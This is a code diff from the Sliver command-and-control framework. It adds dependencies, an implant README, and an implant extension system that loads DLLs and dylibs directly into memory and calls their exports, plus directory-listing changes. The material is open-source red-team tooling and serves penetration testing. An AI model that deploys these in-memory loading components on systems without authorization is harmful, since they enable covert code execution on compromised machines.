+github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
+github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
+github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
+github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
+github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
+github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
 github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
 github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
 github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
@@ -36,6 +41,7 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRy
 github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
 github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
 github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
+github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
 github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
 github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
 github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
@@ -50,11 +56,13 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
 github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
 github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
 github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
+github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
+github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
+github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
+github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
 github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
 github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
 github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
-github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d h1:OjnsEdBfkfk2ynGBqqWC2Hw3a40Udo1xxJmCkbJRok4=
-github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d/go.mod h1:oSZ0f0Zrb3C5CC9ix1ARY7PcxRRmraT0wGSjnUJm9rg=
 github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
 github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
 github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
@@ -85,15 +93,12 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
 github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE=
 github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY=
-github.com/desertbit/closer/v3 v3.0.1/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
 github.com/desertbit/closer/v3 v3.1.2 h1:a6+2DmwIcNygW04XXWYq+Qp2X9uIk9QbZCP9//qEkb0=
 github.com/desertbit/closer/v3 v3.1.2/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
 github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2Eb8zuFa2W41t0o5j0=
 github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
 github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
 github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
-github.com/desertbit/grumble v1.0.8 h1:pD54tsYbtCrHZk/67Hcx2ybQT6TZQ/AV0P8ZGsDC2X4=
-github.com/desertbit/grumble v1.0.8/go.mod h1:FIKWbAImZ0OUe/IrJ67+WKh7xqOrNNlDtmJUNkpQJ+s=
 github.com/desertbit/grumble v1.1.1 h1:1wxy6ka1aqbtA3kZIHaPfB/DD91HSM2m4Kx2QIIGfpE=
 github.com/desertbit/grumble v1.1.1/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
 github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
@@ -110,13 +115,13 @@ github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.m
 github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
 github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
 github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
-github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
 github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
 github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
 github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
 github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
 github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
 github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
+github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
 github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
 github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
 github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
@@ -185,14 +190,12 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf
 github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
 github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
 github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
-github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
 github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
 github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
 github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
 github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
 github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
 github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
-github.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o=
 github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
 github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
 github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
@@ -267,6 +270,8 @@ github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0f
 github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
+github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
+github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
 github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
 github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
 github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
@@ -321,12 +326,12 @@ github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
 github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
 github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
 github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
-github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
 github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
 github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
 github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
-github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
 github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
+github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
+github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
 github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
 github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
 github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
@@ -363,6 +368,7 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
 github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
 github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
 github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
 github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
@@ -517,6 +523,7 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
 golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck=
 golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -551,17 +558,16 @@ golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f/go.mod h1:h1NjWce9XRLGQEsW7w
 golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20201101102859-da207088b7d1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4=
 golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 h1:RqytpXGR1iVNX7psjB3ff8y7sNFinVFvkx1c8SjBkio=
 golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=

implant/README.md

@@ -0,0 +1,19 @@
+Implant
+========
+
+This directory contains the code for Sliver's implant, implant source code is dynamically
+rendered at runtime via the `generate` command. The code generation inserts the per-binary
+values such as X.509 certificates, etc. and compiles it to produce a binary.
+
+The implant code contains a lot of platform specific code too, which varies the features
+that will be supported on different platforms.
+
+Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
+valid Go compiler target but only contains very generic commands/features.
+
+
+### Adding Implant Features
+
+Simply adding new files to this directory will not work (but you can edit existing files).
+In order to add new features you'll need to add the code to this directory AND update the
+`server/generate/srcfiles.go` which contains a list of files the server should render.

implant/go-mod

@@ -14,4 +14,5 @@ require (
         inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
         golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
 	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
+	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
 )

implant/sliver/extension/extension.go

@@ -0,0 +1,35 @@
+package extension
+
+import "errors"
+
+var extensions map[string]Extension
+
+type Extension interface {
+	Load() error
+	Call(exportName string, arguments []byte, callback func([]byte)) error
+	GetID() string
+	GetArch() string
+}
+
+func Add(e Extension) {
+	extensions[e.GetID()] = e
+}
+
+func List() []string {
+	var extList []string
+	for id := range extensions {
+		extList = append(extList, id)
+	}
+	return extList
+}
+
+func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
+	if ext, found := extensions[extID]; found {
+		return ext.Call(funcName, arguments, callback)
+	}
+	return errors.New("{{if .Config.Debug}} extension not found{{end}}")
+}
+
+func init() {
+	extensions = make(map[string]Extension)
+}

implant/sliver/extension/extension_darwin.go

@@ -0,0 +1,105 @@
+package extension
+
+import (
+	"bytes"
+	"runtime"
+	"unsafe"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+	"github.com/Binject/universal"
+)
+
+type DarwinExtension struct {
+	id          string
+	data        []byte
+	module      *universal.Library
+	arch        string
+	serverStore bool
+	init        string
+}
+
+type extensionArguments struct {
+	inDataSize  uintptr
+	inDataBuff  uintptr
+	outDataSize uintptr
+	outDataBuff uintptr
+}
+
+func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
+	return &DarwinExtension{
+		id:   id,
+		data: data,
+		arch: arch,
+		init: init,
+	}
+}
+
+func (d *DarwinExtension) GetID() string {
+	return d.id
+}
+
+func (d *DarwinExtension) GetArch() string {
+	return d.arch
+}
+
+func (d *DarwinExtension) Load() error {
+	var err error
+	loader, err := universal.NewLoader()
+	if err != nil {
+		return err
+	}
+	d.module, err = loader.LoadLibrary(d.id, &d.data)
+	if err != nil {
+		return err
+	}
+	if d.init != "" {
+		if _, errInit := d.module.Call(d.init); errInit != nil {
+			return errInit
+		}
+	}
+	return nil
+}
+
+func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
+	// We currently have 2 issues with Darwin extensions:
+	// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
+	// - we don't have Go callback support for the loaded extension,
+	// so we have to wait for the call to finish to get the results
+	// To circumvent these issues, we pass the extensionArguments structure
+	// as the only argument to the call, so we can pass args in and extract
+	// the result at the same time.
+	runtime.LockOSThread()
+	defer runtime.UnlockOSThread()
+	extArgs := extensionArguments{}
+	if len(arguments) > 0 {
+		extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
+		extArgs.inDataSize = uintptr(uint64(len(arguments)))
+	}
+	// {{if .Config.Debug}}
+	log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
+	// {{end}}
+	_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
+	if err != nil {
+		return err
+	}
+	// {{if .Config.Debug}}
+	log.Printf("%s done!\n", export)
+	// {{end}}
+	outData := new(bytes.Buffer)
+	outDataSize := int(extArgs.outDataSize)
+	// {{if .Config.Debug}}
+	log.Printf("Out data size: %d\n", outDataSize)
+	// {{end}}
+	for i := 0; i < outDataSize; i++ {
+		b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
+		outData.WriteByte(*b)
+	}
+	// We currently don't have a way to trigger a callback
+	// in the loaded code for Darwin.
+	if outData.Len() > 0 {
+		onFinish(outData.Bytes())
+	}
+	return nil
+}

implant/sliver/extension/extension_windows.go

@@ -0,0 +1,114 @@
+package extension
+
+import (
+	"bytes"
+	"errors"
+	"syscall"
+	"unsafe"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"golang.zx2c4.com/wireguard/tun/wintun/memmod"
+)
+
+const (
+	Success = 0
+	Failure = 1
+)
+
+type WindowsExtension struct {
+	id          string
+	data        []byte
+	module      *memmod.Module
+	arch        string
+	init        string
+	onFinish    func([]byte)
+	serverStore bool
+}
+
+func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
+	return &WindowsExtension{
+		id:   id,
+		data: data,
+		arch: arch,
+		init: init,
+	}
+}
+
+func (w *WindowsExtension) GetID() string {
+	return w.id
+}
+
+func (w *WindowsExtension) GetArch() string {
+	return w.arch
+}
+
+func (w *WindowsExtension) Load() error {
+	var err error
+	w.module, err = memmod.LoadLibrary(w.data)
+	if err != nil {
+		return err
+	}
+	if w.init != "" {
+		initProc, errInit := w.module.ProcAddressByName(w.init)
+		if errInit == nil {
+			// {{if .Config.Debug}}
+			log.Printf("Calling %s\n", w.init)
+			// {{end}}
+			syscall.Syscall(initProc, 0, 0, 0, 0)
+		} else {
+			return errInit
+		}
+	}
+	return nil
+}
+
+func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
+	var (
+		argumentsPtr  uintptr
+		argumentsSize uintptr
+	)
+	if w.module == nil {
+		return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
+	}
+	w.onFinish = onFinish
+	callback := syscall.NewCallback(w.extensionCallback)
+	exportPtr, err := w.module.ProcAddressByName(export)
+	if err != nil {
+		return err
+	}
+	if len(arguments) > 0 {
+		argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
+		argumentsSize = uintptr(uint32(len(arguments)))
+	}
+	// {{if .Config.Debug}}
+	log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
+	// {{end}}
+	// The extension API must respect the following prototype:
+	// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
+	// where goCallback = int(char *, int)
+	_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
+	if errNo != 0 {
+		return errors.New(errNo.Error())
+	}
+
+	return nil
+}
+
+// extensionCallback takes a buffer (char *) and its size (int) as parameters
+// so we can pass data back to the Go process from the loaded DLL
+func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
+	outDataSize := int(dataLen)
+	outBuff := new(bytes.Buffer)
+	for i := 0; i < outDataSize; i++ {
+		b := (*byte)(unsafe.Pointer(uintptr(i) + data))
+		outBuff.WriteByte(*b)
+	}
+	//TODO: do something with outBuff
+	if outBuff.Len() > 0 {
+		w.onFinish(outBuff.Bytes())
+	}
+	return Success
+}

implant/sliver/handlers/handlers.go

@@ -28,6 +28,7 @@ import (
 	"io/ioutil"
 	"os/exec"
 	"strings"
+	"time"
 
 	// {{if .Config.Debug}}
 	"log"
@@ -43,7 +44,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 // RPCResponse - Request/response callback
@@ -97,7 +98,8 @@ func dirListHandler(data []byte, resp RPCResponse) {
 	dir, files, err := getDirList(dirListReq.Path)
 
 	// Convert directory listing to protobuf
-	dirList := &sliverpb.Ls{Path: dir}
+	timezone, offset := time.Now().Zone()
+	dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
 	if err == nil {
 		dirList.Exists = true
 	} else {
@@ -109,6 +111,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
 			Name:  fileInfo.Name(),
 			IsDir: fileInfo.IsDir(),
 			Size:  fileInfo.Size(),
+			/* Send the time back to the client / server as the number of seconds
+			since epoch.  This will decouple formatting the time to display from the
+			time itself.  We can change the format of the time displayed in the client
+			and not have to worry about having to update implants.
+			*/
+			ModTime: fileInfo.ModTime().Unix(),
+			Mode:    fileInfo.Mode().String(),
 		})
 	}
 

implant/sliver/handlers/handlers_darwin.go

@@ -19,8 +19,11 @@ package handlers
 */
 
 import (
+	"github.com/bishopfox/sliver/implant/sliver/extension"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 )
 
 var (
@@ -50,6 +53,11 @@ var (
